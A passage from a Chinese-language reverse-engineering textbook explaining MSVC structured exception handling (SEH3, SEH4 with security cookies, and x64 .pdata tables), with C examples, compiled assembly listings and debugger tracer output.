是由操作系统支持的异常处理扩展。但是异常处理函数属于_except_handler3(SEH3) 或_except_handler4(SEH4)。而且响应代码依赖于 MSVC 编译器。它需要由 MSVC 的库文件或者 msvcr*.dll 的动态链接库提供支持。SEH 是由 MSVC 提供的一种机制,这一点至关重要。其他 Win32 的编译器的异 常响应机制可能与 SEH 完全不同。 SEH3 SEH3 定义了一个_except_handler3 的异常处理函数,而且还对_EXCEPTION_REGISTRATION 表进行 了扩充、添加了 scope table 和 previous try level 的指针。在此基础上,SEH4 对 scope table 表添加了四个值, 以实现缓冲溢出保护。 scope table 是一个表,它的元素都由 filter 表达式和 handler code 块的指针构成。这个表可以正确处理 带有嵌套关系的多级 try/except 语句。 本书再次强调,操作系统只关心 SEH 里各节点的 prev 字段和 handle 字段,从不关心任何其他数 据。函数_except_handler3 的作用是读取其他的字段以及 scope 表的数值,并且判断什么时间执行哪个 异常处理函数。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 682 逆向工程权威指南(下册) 函数_except_handler3 的源代码并不公开。然而,Sanos 操作系统(与 Win32 系统部分兼容),再现 了这个函数。在某种程度上说,由 Sanos 实现的_except_handler3 与 Windows 系统的同名函数十分相似(请 参阅其源文件/src/win32/msvcrt/except.c)。除此以外,Wine 平台和 ReactOS 系统也开发了类似的函数。 如果 filter 指针是空指针 NULL,那么 handler 指针将指向“finally”所在的代码块。 在执行过程中,堆栈中的 previous try level 改变了,因此函数_except_handler3 能从目前的嵌套中获取 信息,目的是知道使用哪个 scope table 表。 执行期间,栈中的 previous try level 字段将会发生变化。_except_handler3 根据这项数据获取当前嵌套 级的信息,进而判断要使用 scope table 中的哪个表项。每一个 try 块都分配了一个唯一的数作为标识, scopetable 表中条目(entry)间的关系则描述了 try 块的嵌套关系。 SEH3: 一个 try/except 块的例子 #include <stdio.h> #include <windows.h> #include <excpt.h> int main() { int* p = NULL; __try { printf("hello #1!\n"); *p = 13; // causes an access violation exception; printf("hello #2!\n"); 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 683 } __except(GetExceptionCode()==EXCEPTION_ACCESS_VIOLATION ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { printf("access violation, can't recover\n"); } } 指令清单 68.6 MSVC 2003 $SG74605 DB 'hello #1!', 0aH, 00H $SG74606 DB 'hello #2!', 0aH, 00H $SG74608 DB 'access violation, can''t recover', 0aH, 00H _DATA ENDS ; scope table: CONST SEGMENT $T74622 DD 0ffffffffH ; previous try level DD FLAT:$L74617 ; filter DD FLAT:$L74618 ; handler CONST ENDS _TEXT SEGMENT $T74621 = -32 ; size = 4 _p$ = -28 ; size = 4 __$SEHRec$ = -24 ; size = 24 _main PROC NEAR push ebp mov ebp, esp push -1 ; previous try level push OFFSET FLAT:$T74622 ; scope table push OFFSET FLAT:__except_handler3 ; handler mov eax, DWORD PTR fs:__except_list push eax ; prev mov DWORD PTR fs:__except_list, esp add esp, -16 ; 3 registers to be saved: push ebx push esi push edi mov DWORD PTR __$SEHRec$[ebp], esp mov DWORD PTR _p$[ebp], 0 mov DWORD PTR __$SEHRec$[ebp+20], 0 ; previous try level push OFFSET FLAT:$SG74605 ; 'hello #1!' call _printf add esp, 4 mov eax, DWORD PTR _p$[ebp] mov DWORD PTR [eax], 13 push OFFSET FLAT:$SG74606 ; 'hello #2!' call _printf add esp, 4 mov DWORD PTR __$SEHRec$[ebp+20], -1 ; previous try level jmp SHORT $L74616 ; filter code: $L74617: $L74627: mov ecx, DWORD PTR __$SEHRec$[ebp+4] mov edx, DWORD PTR [ecx] mov eax, DWORD PTR [edx] mov DWORD PTR $T74621[ebp], eax mov eax, DWORD PTR $T74621[ebp] sub eax, -1073741819; c0000005H neg eax sbb eax, eax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 684 逆向工程权威指南(下册) inc eax $L74619: $L74626: ret 0 ; handler code: $L74618: mov esp, DWORD PTR __$SEHRec$[ebp] push OFFSET FLAT:$SG74608 ; 'access violation, can''t recover' call _printf add esp, 4 mov DWORD PTR __$SEHRec$[ebp+20], -1 ; setting previous try level back to -1 $L74616: xor eax, eax mov ecx, DWORD PTR __$SEHRec$[ebp+8] mov DWORD PTR fs:__except_list, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 _main ENDP _TEXT ENDS END 由此可见,SEH 在栈里形成了帧结构。而 Scope table 则是位于文件的 CONST 段,确实如此,scope table 各字段的值确实不会发生变化。值得关注的是 previous try level 字段的变化过程。其初始值是 0xFFFFFFF(-1)。 当执行到 try 语句时,专有一条指令把它赋值为 0。而当 try 语句的主体关闭时,它又被赋值为−1。我们也看到 了 filter 以及 handler code 的地址。因此,我们能很容易地分析出函数中的 try-except 语句。 函数序言中的 SEH 初始化代码可能会被多个函数共享,有时候编译器会在函数序言直接调用 SEH_prolog()函数,再在函数尾声处调用 SEH_epilog()函数以回收栈空间。 下面我们在 tracer 跟踪器中运行这个例子: tracer.exe -l:2.exe --dump-seh 上述指令的输出如下。 指令清单 68.7 tracer.exe 的输出 EXCEPTION_ACCESS_VIOLATION at 2.exe!main+0x44 (0x401054) ExceptionInformation[0]=1 EAX=0x00000000 EBX=0x7efde000 ECX=0x0040cbc8 EDX=0x0008e3c8 ESI=0x00001db1 EDI=0x00000000 EBP=0x0018feac ESP=0x0018fe80 EIP=0x00401054 FLAGS=AF IF RF * SEH frame at 0x18fe9c prev=0x18ff78 handler=0x401204 (2.exe!_except_handler3) SEH3 frame. previous trylevel=0 scopetable entry[0]. previous try level=-1, filter=0x401070 (2.exe!main+0x60) handler=0x401088 (2.exe!main+0x78) * SEH frame at 0x18ff78 prev=0x18ffc4 handler=0x401204 (2.exe!_except_handler3) SEH3 frame. previous trylevel=0 scopetable entry[0]. previous try level=-1, filter=0x401531 (2.exe!mainCRTStartup+0x18d) handler=0x401545 (2.exe!mainCRTStartup+0x1a1) * SEH frame at 0x18ffc4 prev=0x18ffe4 handler=0x771f71f5 (ntdll.dll!__except_handler4) SEH4 frame. previous trylevel=0 SEH4 header: GSCookieOffset=0xfffffffe GSCookieXOROffset=0x0 EHCookieOffset=0xffffffcc EHCookieXOROffset=0x0 scopetable entry[0]. previous try level=-2, filter=0x771f74d0 (ntdll.dll! ___safe_se_handler_table+0x20) handler=0x771f90eb (ntdll.dll!_TppTerminateProcess@4+0x43) * SEH frame at 0x18ffe4 prev=0xffffffff handler=0x77247428 (ntdll.dll!_FinalExceptionHandler@16) 我们可以看到 SEH 链含有 4 个处理函数/handler。 前两个 handler 是由源代码指定注册的异常处理函数。虽然我们的源代码只定义了一个 handler,但是 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 685 CRT 的_mainCRTStartup()函数会自动设置一个配套的 handler。后者的功能不多,至少能够处理一些与 FPU 有关的异常情况。有关源码可以参阅 MSVC 安装目录里的 crt/src/winxfltr.c 文件。 第三个 handler 是由 ntdll.dll 提供的 SEH4,第四个 handler 也位于 ntdll.dll,跟 MSVC 没什么关系,它 的函数名是 FinalExceptionHandler。 上述信息表明,SEH 链含有三种类型的处理函数:一种是与 MSVC 彻底无关的自定义 handler(即异 常处理指针链中的最后一项),另外两种处理程序是由 MSVC 提供的 SEH3 和 SEH4 函数。 SEH3:两个 try/except 模块例子 #include <stdio.h> #include <windows.h> #include <excpt.h> int filter_user_exceptions (unsigned int code, struct _EXCEPTION_POINTERS *ep) { printf("in filter. code=0x%08X\n", code); if (code == 0x112233) { printf("yes, that is our exception\n"); return EXCEPTION_EXECUTE_HANDLER; } else { printf("not our exception\n"); return EXCEPTION_CONTINUE_SEARCH; }; } int main() { int* p = NULL; __try { __try { printf ("hello!\n"); RaiseException (0x112233, 0, 0, NULL); printf ("0x112233 raised. now let's crash\n"); *p = 13; // causes an access violation exception; } __except(GetExceptionCode()==EXCEPTION_ACCESS_VIOLATION ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) { printf("access violation, can't recover\n"); } } __except(filter_user_exceptions(GetExceptionCode(), GetExceptionInformation())) { // the filter_user_exceptions() function answering to the question // "is this exception belongs to this block?" // if yes, do the follow: printf("user exception caught\n"); } } 这里,我们可以看到两个 try 块。因此 scope table 会有两个元素,分别存储着各 try 块的相应指针。 “Previous try level”字段的值会伴随着进入/退出 try 语句块而发生相应改变。 指令清单 68.8 MSVC 2003 $SG74606 DB 'in filter. code=0x%08X', 0aH, 00H $SG74608 DB 'yes, that is our exception', 0aH, 00H 异步社区会员 dearfuture(15918834820) 专享 尊重版权 686 逆向工程权威指南(下册) $SG74610 DB 'not our exception', 0aH, 00H $SG74617 DB 'hello!', 0aH, 00H $SG74619 DB '0x112233 raised. now let''s crash', 0aH, 00H $SG74621 DB 'access violation, can''t recover', 0aH, 00H $SG74623 DB 'user exception caught', 0aH, 00H _code$ = 8 ; size = 4 _ep$ = 12 ; size = 4 _filter_user_exceptions PROC NEAR push ebp mov ebp, esp mov eax, DWORD PTR _code$[ebp] push eax push OFFSET FLAT:$SG74606 ; 'in filter. code=0x%08X' call _printf add esp, 8 cmp DWORD PTR _code$[ebp], 1122867; 00112233H jne SHORT $L74607 push OFFSET FLAT:$SG74608 ; 'yes, that is our exception' call _printf add esp, 4 mov eax, 1 jmp SHORT $L74605 $L74607: push OFFSET FLAT:$SG74610 ; 'not our exception' call _printf add esp, 4 xor eax, eax $L74605: pop ebp ret 0 _filter_user_exceptions ENDP ; scope table: CONST SEGMENT $T74644 DD 0ffffffffH ; previous try level for outer block DD FLAT:$L74634 ; outer block filter DD FLAT:$L74635 ; outer block handler DD 00H ; previous try level for inner block DD FLAT:$L74638 ; inner block filter DD FLAT:$L74639 ; inner block handler CONST ENDS $T74643 = -36 ; size = 4 $T74642 = -32 ; size = 4 _p$ = -28 ; size = 4 __$SEHRec$ = -24 ; size = 24 _main PROC NEAR push ebp mov ebp, esp push -1 ; previous try level push OFFSET FLAT:$T74644 push OFFSET FLAT:__except_handler3 mov eax, DWORD PTR fs:__except_list push eax mov DWORD PTR fs:__except_list, esp add esp, -20 push ebx push esi push edi mov DWORD PTR __$SEHRec$[ebp], esp mov DWORD PTR _p$[ebp], 0 mov DWORD PTR __$SEHRec$[ebp+20], 0 ; outer try block entered. set previous try level to 0 mov DWORD PTR __$SEHRec$[ebp+20], 1 ; inner try block entered. set previous try level to 1 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 687 push OFFSET FLAT:$SG74617 ; 'hello!' call _printf add esp, 4 push 0 push 0 push 0 push 1122867 ; 00112233H call DWORD PTR __imp__RaiseException@16 push OFFSET FLAT:$SG74619 ; '0x112233 raised. now let''s crash' call _printf add esp, 4 mov eax, DWORD PTR _p$[ebp] mov DWORD PTR [eax], 13 mov DWORD PTR __$SEHRec$[ebp+20], 0 ; inner try block exited. set previous try level back to 0 jmp SHORT $L74615 ; inner block filter: $L74638: $L74650: mov ecx, DWORD PTR __$SEHRec$[ebp+4] mov edx, DWORD PTR [ecx] mov eax, DWORD PTR [edx] mov DWORD PTR $T74643[ebp], eax mov eax, DWORD PTR $T74643[ebp] sub eax, -1073741819; c0000005H neg eax sbb eax, eax inc eax $L74640: $L74648: ret 0 ; inner block handler: $L74639: mov esp, DWORD PTR __$SEHRec$[ebp] push OFFSET FLAT:$SG74621 ; 'access violation, can''t recover' call _printf add esp, 4 mov DWORD PTR __$SEHRec$[ebp+20], 0 ; inner try block exited. set previous try level back to 0 $L74615: mov DWORD PTR __$SEHRec$[ebp+20], -1 ; outer try block exited, set previous try level back to -1 jmp SHORT $L74633 ; outer block filter: $L74634: $L74651: mov ecx, DWORD PTR __$SEHRec$[ebp+4] mov edx, DWORD PTR [ecx] mov eax, DWORD PTR [edx] mov DWORD PTR $T74642[ebp], eax mov ecx, DWORD PTR __$SEHRec$[ebp+4] push ecx mov edx, DWORD PTR $T74642[ebp] push edx call _filter_user_exceptions add esp, 8 $L74636: $L74649: ret 0 ; outer block handler: $L74635: mov esp, DWORD PTR __$SEHRec$[ebp] 异步社区会员 dearfuture(15918834820) 专享 尊重版权 688 逆向工程权威指南(下册) push OFFSET FLAT:$SG74623 ; 'user exception caught' call _printf add esp, 4 mov DWORD PTR __$SEHRec$[ebp+20], -1 ; both try blocks exited. set previous try level back to -1 $L74633: xor eax, eax mov ecx, DWORD PTR __$SEHRec$[ebp+8] mov DWORD PTR fs:__except_list, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 _main ENDP 只要在 handler 中调用 printf()函数的指令那里设置一个断点,就可以观测到 SEH handler 的添加过程。 或许 SEH 的内部处理机制与众不同。而这里我们可以看到 scope table 包含着两个元素: tracer.exe -l:3.exe bpx=3.exe!printf --dump-seh 指令清单 68.9 tracer.exe 输出 (0) 3.exe!printf EAX=0x0000001b EBX=0x00000000 ECX=0x0040cc58 EDX=0x0008e3c8 ESI=0x00000000 EDI=0x00000000 EBP=0x0018f840 ESP=0x0018f838 EIP=0x004011b6 FLAGS=PF ZF IF * SEH frame at 0x18f88c prev=0x18fe9c handler=0x771db4ad (ntdll.dll!ExecuteHandler2@20+0x3a) * SEH frame at 0x18fe9c prev=0x18ff78 handler=0x4012e0 (3.exe!_except_handler3) SEH3 frame. previous trylevel=1 scopetable entry[0]. previous try level=-1, filter=0x401120 (3.exe!main+0xb0) handler=0x40113b (3.exe!main+0xcb) scopetable entry[1]. previous try level=0, filter=0x4010e8 (3.exe!main+0x78) handler=0x401100 (3.exe!main+0x90) * SEH frame at 0x18ff78 prev=0x18ffc4 handler=0x4012e0 (3.exe!_except_handler3) SEH3 frame. previous trylevel=0 scopetable entry[0]. previous try level=-1, filter=0x40160d (3.exe!mainCRTStartup+0x18d) handler=0x401621 (3.exe!mainCRTStartup+0x1a1) * SEH frame at 0x18ffc4 prev=0x18ffe4 handler=0x771f71f5 (ntdll.dll!__except_handler4) SEH4 frame. previous trylevel=0 SEH4 header: GSCookieOffset=0xfffffffe GSCookieXOROffset=0x0 EHCookieOffset=0xffffffcc EHCookieXOROffset=0x0 scopetable entry[0]. previous try level=-2, filter=0x771f74d0 (ntdll.dll! ___safe_se_handler_table+0x20) handler=0x771f90eb (ntdll.dll!_TppTerminateProcess@4+0x43) * SEH frame at 0x18ffe4 prev=0xffffffff handler=0x77247428 (ntdll.dll!_FinalExceptionHandler@16) SEH4 在遭受缓冲区溢出攻击(请参见本书第 18 章第 2 节)以后,地址表 scope table 的地址可能被重写。 MSVC 2005 编译器为 SEH 帧增加了一些缓冲区溢出保护,把 SEH3 升级成了 SEH4。SEH4 的 scope table 表的指针会与 security cookie 进行异或运算,然后才被写到相应的数据结构里。此外 Scope table 新 增了一个双指针表头,这两个 EH cookie 指针都是 security cookies 的指针(GS cookies 只有在编译时 打开/GS 参数才会出现)。EH Cookie 的偏移量(offset)都是基于栈帧(EBP)的相对地址,其与 security_cookie 的异或运算结果会被保存在栈里,充当校验码。异常处理函数的加载过程会读取这个值 并检查其正确性。 由于栈内的 security cookie 是一次性随机值,因此远程攻击者是无法事先预测这个值。 在 SEH4 中最外层的级别(previous try level)是-2,而不是 SEH3 的-1。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 689 这里列出了两个由 MSVC 2012 编译的 SEH4 函数。 指令清单 68.10 MSVC 2012:一个 try 块的例子 $SG85485 DB 'hello #1!', 0aH, 00H $SG85486 DB 'hello #2!', 0aH, 00H $SG85488 DB 'access violation, can''t recover', 0aH, 00H ; scope table: xdata$x SEGMENT __sehtable$_main DD 0fffffffeH ; GS Cookie Offset DD 00H ; GS Cookie XOR Offset DD 0ffffffccH ; EH Cookie Offset DD 00H ; EH Cookie XOR Offset DD 0fffffffeH ; previous try level DD FLAT:$LN12@main ; filter DD FLAT:$LN8@main ; handler xdata$x ENDS $T2 = -36 ; size = 4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 690 逆向工程权威指南(下册) _p$ = -32 ; size = 4 tv68 = -28 ; size = 4 __$SEHRec$ = -24 ; size = 24 _main PROC push ebp mov ebp, esp push -2 push OFFSET __sehtable$_main push OFFSET __except_handler4 mov eax, DWORD PTR fs:0 push eax add esp, -20 push ebx push esi push edi mov eax, DWORD PTR ___security_cookie xor DWORD PTR __$SEHRec$[ebp+16], eax ; xored pointer to scope table xor eax, ebp push eax ; ebp ^ security_cookie lea eax, DWORD PTR __$SEHRec$[ebp+8] ; pointer to VC_EXCEPTION_REGISTRATION_RECORD mov DWORD PTR fs:0, eax mov DWORD PTR __$SEHRec$[ebp], esp mov DWORD PTR _p$[ebp], 0 mov DWORD PTR __$SEHRec$[ebp+20], 0 ; previous try level push OFFSET $SG85485 ; 'hello #1!' call _printf add esp, 4 mov eax, DWORD PTR _p$[ebp] mov DWORD PTR [eax], 13 push OFFSET $SG85486 ; 'hello #2!' call _printf add esp, 4 mov DWORD PTR __$SEHRec$[ebp+20], -2 ; previous try level jmp SHORT $LN6@main ; filter: $LN7@main: $LN12@main: mov ecx, DWORD PTR __$SEHRec$[ebp+4] mov edx, DWORD PTR [ecx] mov eax, DWORD PTR [edx] mov DWORD PTR $T2[ebp], eax cmp DWORD PTR $T2[ebp], -1073741819 ; c0000005H jne SHORT $LN4@main mov DWORD PTR tv68[ebp], 1 jmp SHORT $LN5@main $LN4@main: mov DWORD PTR tv68[ebp], 0 $LN5@main: mov eax, DWORD PTR tv68[ebp] $LN9@main: $LN11@main: ret 0 ; handler: $LN8@main: mov esp, DWORD PTR __$SEHRec$[ebp] push OFFSET $SG85488 ; 'access violation, can''t recover' call _printf add esp, 4 mov DWORD PTR __$SEHRec$[ebp+20], -2 ; previous try level $LN6@main: xor eax, eax mov ecx, DWORD PTR __$SEHRec$[ebp+8] mov DWORD PTR fs:0, ecx 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 691 pop ecx pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 _main ENDP 指令清单 68.11 MSVC 2012:两个 try 块的例子 $SG85486 DB 'in filter. code=0x%08X', 0aH, 00H $SG85488 DB 'yes, that is our exception', 0aH, 00H $SG85490 DB 'not our exception', 0aH, 00H $SG85497 DB 'hello!', 0aH, 00H $SG85499 DB '0x112233 raised. now let''s crash', 0aH, 00H $SG85501 DB 'access violation, can''t recover', 0aH, 00H $SG85503 DB 'user exception caught', 0aH, 00H xdata$x SEGMENT __sehtable$_main DD 0fffffffeH ; GS Cookie Offset DD 00H ; GS Cookie XOR Offset DD 0ffffffc8H ; EH Cookie Offset DD 00H ; EH Cookie Offset DD 0fffffffeH ; previous try level for outer block DD FLAT:$LN19@main ; outer block filter DD FLAT:$LN9@main ; outer block handler DD 00H ; previous try level for inner block DD FLAT:$LN18@main ; inner block filter DD FLAT:$LN13@main ; inner block handler xdata$x ENDS $T2 = -40 ; size = 4 $T3 = -36 ; size = 4 _p$ = -32 ; size = 4 tv72 = -28 ; size = 4 __$SEHRec$ = -24 ; size = 24 _main PROC push ebp mov ebp, esp push -2 ; initial previous try level push OFFSET __sehtable$_main push OFFSET __except_handler4 mov eax, DWORD PTR fs:0 push eax ; prev add esp, -24 push ebx push esi push edi mov eax, DWORD PTR ___security_cookie xor DWORD PTR __$SEHRec$[ebp+16], eax ; xored pointer to scope table xor eax, ebp ; ebp ^ security_cookie push eax lea eax, DWORD PTR __$SEHRec$[ebp+8] ; pointer to VC_EXCEPTION_REGISTRATION_RECORD mov DWORD PTR fs:0, eax mov DWORD PTR __$SEHRec$[ebp], esp mov DWORD PTR _p$[ebp], 0 mov DWORD PTR __$SEHRec$[ebp+20], 0 ; entering outer try block, setting previous try level=0 mov DWORD PTR __$SEHRec$[ebp+20], 1 ; entering inner try block, setting previous try level=1 push OFFSET $SG85497 ; 'hello!' call _printf add esp, 4 push 0 push 0 push 0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 692 逆向工程权威指南(下册) push 1122867 ; 00112233H call DWORD PTR __imp__RaiseException@16 push OFFSET $SG85499 ; '0x112233 raised. now let''s crash' call _printf add esp, 4 mov eax, DWORD PTR _p$[ebp] mov DWORD PTR [eax], 13 mov DWORD PTR __$SEHRec$[ebp+20], 0 ; exiting inner try block, set previous try level back to 0 jmp SHORT $LN2@main ; inner block filter: $LN12@main: $LN18@main: mov ecx, DWORD PTR __$SEHRec$[ebp+4] mov edx, DWORD PTR [ecx] mov eax, DWORD PTR [edx] mov DWORD PTR $T3[ebp], eax cmp DWORD PTR $T3[ebp], -1073741819 ; c0000005H jne SHORT $LN5@main mov DWORD PTR tv72[ebp], 1 jmp SHORT $LN6@main $LN5@main: mov DWORD PTR tv72[ebp], 0 $LN6@main: mov eax, DWORD PTR tv72[ebp] $LN14@main: $LN16@main: ret 0 ; inner block handler: $LN13@main: mov esp, DWORD PTR __$SEHRec$[ebp] push OFFSET $SG85501 ; 'access violation, can''t recover' call _printf add esp, 4 mov DWORD PTR __$SEHRec$[ebp+20], 0 ; exiting inner try block, setting previous try level back to 0 $LN2@main: mov DWORD PTR __$SEHRec$[ebp+20], -2 ; exiting both blocks, setting previous try level back to -2 jmp SHORT $LN7@main ; outer block filter: $LN8@main: $LN19@main: mov ecx, DWORD PTR __$SEHRec$[ebp+4] mov edx, DWORD PTR [ecx] mov eax, DWORD PTR [edx] mov DWORD PTR $T2[ebp], eax mov ecx, DWORD PTR __$SEHRec$[ebp+4] push ecx mov edx, DWORD PTR $T2[ebp] push edx call _filter_user_exceptions add esp, 8 $LN10@main: $LN17@main: ret 0 ; outer block handler: $LN9@main: mov esp, DWORD PTR __$SEHRec$[ebp] push OFFSET $SG85503 ; 'user exception caught' call _printf add esp, 4 mov DWORD PTR __$SEHRec$[ebp+20], -2 ; exiting both blocks, setting previous try level back to -2 $LN7@main: xor eax, eax 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 693 mov ecx, DWORD PTR __$SEHRec$[ebp+8] mov DWORD PTR fs:0, ecx pop ecx pop edi pop esi pop ebx mov esp, ebp pop ebp ret 0 _main ENDP _code$ = 8 ; size = 4 _ep$ = 12 ; size = 4 _filter_user_exceptions PROC push ebp mov ebp, esp mov eax, DWORD PTR _code$[ebp] push eax push OFFSET $SG85486 ; 'in filter. code=0x%08X' call _printf add esp, 8 cmp DWORD PTR _code$[ebp], 1122867 ; 00112233H jne SHORT $LN2@filter_use push OFFSET $SG85488 ; 'yes, that is our exception' call _printf add esp, 4 mov eax, 1 jmp SHORT $LN3@filter_use jmp SHORT $LN3@filter_use $LN2@filter_use: push OFFSET $SG85490 ; 'not our exception' call _printf add esp, 4 xor eax, eax $LN3@filter_use: pop ebp ret 0 _filter_user_exceptions ENDP Cookie Offset 是EBP 的值(栈帧栈底)与栈内EBP⊕security_cookie 之间的差值。Cookie XOR Offset 是EBP⊕ security_cookie 与栈中数值之间的差值。如果上述各值不符合下列条件,那么整个进程将会因为栈损坏而终止运行: security_cookie ⊕ (CookieXOROffset +address_of_saved_EBP) == stack[address_of_saved_EBP + CookieOffset] 如果 Cookie Offset 的值是−2,就表示这个 cookie 并不存在(GScookie 一般如此)。 笔者编写的 tracer 程序也能进行 Cookies 的合法性检查,有关详情请访问 https://github.com/dennis714/ tracer/blob/master/SEH.c。 在启用“/GS-”选项之后 MSVC 2005 编译器就会分配 SEH3 的函数,但是它依然会分配 SEH4 的 CRT 代码。 68.3.3 Windows x64 和大家想象的一样,每个函数都在序言中设置 SEH 栈帧将会降低运行速度。此外,在程序运行过程中 不断调整“previous try level”字段同样会增加时间开销。然而在 x64 程序里,整个情况彻底不同了:所有 try 块的指针、filter 和 handler 函数的指针都单独存储于可执行文件的.pdata 段。操作系统根据.pdata 段获取 异常处理的全部信息。 我们把上一个章节的两个程序编译为 x64 程序,可以得到: 指令清单 68.12 MSVC 2012 $SG86276 DB 'hello #1!', 0aH, 00H $SG86277 DB 'hello #2!', 0aH, 00H $SG86279 DB 'access violation, can''t recover', 0aH, 00H 异步社区会员 dearfuture(15918834820) 专享 尊重版权 694 逆向工程权威指南(下册) pdata SEGMENT $pdata$main DD imagerel $LN9 DD imagerel $LN9+61 DD imagerel $unwind$main pdata ENDS pdata SEGMENT $pdata$main$filt$0 DD imagerel main$filt$0 DD imagerel main$filt$0+32 DD imagerel $unwind$main$filt$0 pdata ENDS xdata SEGMENT $unwind$main DD 020609H DD 030023206H DD imagerel __C_specific_handler DD 01H DD imagerel $LN9+8 DD imagerel $LN9+40 DD imagerel main$filt$0 DD imagerel $LN9+40 $unwind$main$filt$0 DD 020601H DD 050023206H xdata ENDS _TEXT SEGMENT main PROC $LN9: push rbx sub rsp, 32 xor ebx, ebx lea rcx, OFFSET FLAT:$SG86276 ; 'hello #1!' call printf mov DWORD PTR [rbx], 13 lea rcx, OFFSET FLAT:$SG86277 ; 'hello #2!' call printf jmp SHORT $LN8@main $LN6@main: lea rcx, OFFSET FLAT:$SG86279 ; 'access violation, can''t recover' call printf npad 1 ; align next label $LN8@main: xor eax, eax add rsp, 32 pop rbx ret 0 main ENDP _TEXT ENDS text$x SEGMENT main$filt$0 PROC push rbp sub rsp, 32 mov rbp, rdx $LN5@main$filt$: mov rax, QWORD PTR [rcx] xor ecx, ecx cmp DWORD PTR [rax], -1073741819; c0000005H sete cl mov eax, ecx $LN7@main$filt$: add rsp, 32 pop rbp ret 0 int 3 main$filt$0 ENDP text$x ENDS 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 695 指令清单 68.13 MSVC 2012 $SG86277 DB 'in filter. code=0x%08X', 0aH, 00H $SG86279 DB 'yes, that is our exception', 0aH, 00H $SG86281 DB 'not our exception', 0aH, 00H $SG86288 DB 'hello!', 0aH, 00H $SG86290 DB '0x112233 raised. now let''s crash', 0aH, 00H $SG86292 DB 'access violation, can''t recover', 0aH, 00H $SG86294 DB 'user exception caught', 0aH, 00H pdata SEGMENT $pdata$filter_user_exceptions DD imagerel $LN6 DD imagerel $LN6+73 DD imagerel $unwind$filter_user_exceptions $pdata$main DD imagerel $LN14 DD imagerel $LN14+95 DD imagerel $unwind$main pdata ENDS pdata SEGMENT $pdata$main$filt$0 DD imagerel main$filt$0 DD imagerel main$filt$0+32 DD imagerel $unwind$main$filt$0 $pdata$main$filt$1 DD imagerel main$filt$1 DD imagerel main$filt$1+30 DD imagerel $unwind$main$filt$1 pdata ENDS xdata SEGMENT $unwind$filter_user_exceptions DD 020601H DD 030023206H $unwind$main DD 020609H DD 030023206H DD imagerel __C_specific_handler DD 02H DD imagerel $LN14+8 DD imagerel $LN14+59 DD imagerel main$filt$0 DD imagerel $LN14+59 DD imagerel $LN14+8 DD imagerel $LN14+74 DD imagerel main$filt$1 DD imagerel $LN14+74 $unwind$main$filt$0 DD 020601H DD 050023206H $unwind$main$filt$1 DD 020601H DD 050023206H Xdata ENDS _TEXT SEGMENT main PROC $LN14: push rbx sub rsp, 32 xor ebx, ebx lea rcx, OFFSET FLAT:$SG86288 ; 'hello!' call printf xor r9d, r9d xor r8d, r8d xor edx, edx mov ecx, 1122867 ; 00112233H call QWORD PTR __imp_RaiseException lea rcx, OFFSET FLAT:$SG86290 ; '0x112233 raised. now let''s crash' call printf mov DWORD PTR [rbx], 13 jmp SHORT $LN13@main $LN11@main: 异步社区会员 dearfuture(15918834820) 专享 尊重版权 696 逆向工程权威指南(下册) lea rcx, OFFSET FLAT:$SG86292 ; 'access violation, can''t recover' call printf npad 1 ; align next label $LN13@main: jmp SHORT $LN9@main $LN7@main: lea rcx, OFFSET FLAT:$SG86294 ; 'user exception caught' call printf npad 1 ; align next label $LN9@main: xor eax, eax add rsp, 32 pop rbx ret 0 main ENDP text$x SEGMENT main$filt$0 PROC push rbp sub rsp, 32 mov rbp, rdx $LN10@main$filt$: mov rax, QWORD PTR [rcx] xor ecx, ecx cmp DWORD PTR [rax], -1073741819; c0000005H sete cl mov eax, ecx $LN12@main$filt$: add rsp, 32 pop rbp ret 0 int 3 main$filt$0 ENDP main$filt$1 PROC push rbp sub rsp, 32 mov rbp, rdx $LN6@main$filt$: mov rax, QWORD PTR [rcx] mov rdx, rcx mov ecx, DWORD PTR [rax] call filter_user_exceptions npad 1 ; align next label $LN8@main$filt$: add rsp, 32 pop rbp ret 0 int 3 main$filt$1 ENDP text$x ENDS _TEXT SEGMENT code$ = 48 ep$ = 56 filter_user_exceptions PROC $LN6: push rbx sub rsp, 32 mov ebx, ecx mov edx, ecx lea rcx, OFFSET FLAT:$SG86277 ; 'in filter. code=0x%08X' call printf cmp ebx, 1122867; 00112233H jne SHORT $LN2@filter_use lea rcx, OFFSET FLAT:$SG86279 ; 'yes, that is our exception' call printf 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 68 章 Windows NT 697 mov eax, 1 add rsp, 32 pop rbx ret 0 $LN2@filter_use: lea rcx, OFFSET FLAT:$SG86281 ; 'not our exception' call printf xor eax, eax add rsp, 32 pop rbx ret 0 filter_user_exceptions ENDP _TEXT ENDS 要想查看更多信息,可以参考 Igor Skochinsky 撰写的文章“Compiler Internals:Exceptional and RTTL(编 译器内幕:例外与 RTTL)”。 除了例外信息外,.pdata 段还存储着几乎所有函数的起始和结束的地址。由此可见,.pdata 段是自动分 析的工具的重点分析对象。 68.3.4 关于 SEH 的更多信息 Igor Skochinsky 编写的文章“Compiler Internals:Exceptional and RTTL(编译器内幕:例外与 RTTL)”。 Matt Pietrek 编写的文章“A Crash Course on the Depths of Win32 Structured Exception Handling(Win32 结构性例外进程的崩溃的深度分析)”。 68.4 Windows NT:临界区段 在任何一个多线程的环境下,临界区段(Critical section)是保护数据一致性和操作互斥性的重要手段。 临界区段保证了在同一时间内只会有一个线程访问某些数据,阻止其他进程和中断同期操作相关数据。 在 Windows NT 系统的数据结构中,CRITICAL_SECTION 关键段的定义如下。 指令清单 